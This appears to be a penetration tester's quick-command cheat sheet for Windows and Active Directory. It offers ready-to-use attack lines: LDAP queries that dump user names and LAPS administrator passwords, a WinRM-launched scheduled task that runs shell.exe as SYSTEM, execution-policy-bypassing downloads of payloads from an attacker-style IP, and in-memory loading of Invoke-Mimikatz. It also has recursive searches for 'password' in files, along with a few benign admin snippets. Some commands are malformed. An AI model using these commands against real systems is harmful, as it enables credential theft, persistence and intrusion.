Quick Commands

LDAP Search

ldapsearch -x -h IP -D '' -w '' -b "DC=DOMAIN,DC=DOMAIN" | grep sAMAccountName:
ldapsearch -v -x -D USER@DOMAIN -w PASSWD -b "DC=DOMAIN,DC=DOMAIN" -h IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

Run Command as User (winrm):

$pw = ConvertTo-SecureString "PASSWD" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("USER", $pw)

Invoke-Command -Computer COMPUTER -ScriptBlock { schtasks /create /sc onstart /tn shell /tr C:\inetpub\wwwroot\shell.exe /ru SYSTEM } -Credential $creds
Invoke-Command -Computer COMPUTER-ScriptBlock { schtasks /run /tn shell } -Credential $creds

Download file:

powershell -exec bypass -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.119.131/8888-198.ps1)"
powershell -exec bypass -c IEX (iwr 'http://192.168.119.131/8888-198.ps1' -outfile 8888.ps1)

Download & Execute in memory:

powershell -exec bypass -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.119.131/8888-198.ps1, '.\8888-198.ps1')"
IEX((New-Object System.Net.WebClient).downloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1'))

AD Users

Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

Get Domain Machines / IPs

Get-ADComputer -Credential $cred -Server DC.Example.com -Filter 'operatingsystem -like "*Windows*" -and enabled -eq "true"' ` -Properties Name,Operatingsystem,OperatingSystemVersion,IPv4Address | Sort-Object -Property Operatingsystem | Select-Object -Property Name,Operatingsystem,OperatingSystemVersion,IPv4Address

Powershell Grep Table

Get-ChildItem -Recurse | Select-String "password" -List | Select Path | Format-Table -AutoSize

Powershell Grep

Get-ChildItem -Recurse | Select-String "password" -List | Select Path

Get user groups

Get-ADPrincipalGroupMembership username | select name

Merge all csv to one

Get-ChildItem -Filter *.csv | Select-Object -ExpandProperty FullName | Import-Csv | Export-Csv .\merged\merged.csv -NoTypeInformation -Append

Get process using port

# TCP
Get-Process -Id (Get-NetTCPConnection -LocalPort 9095).OwningProcess
# UDP
Get-Process -Id (Get-NetUDPEndpoint -LocalPort 9095).OwningProcess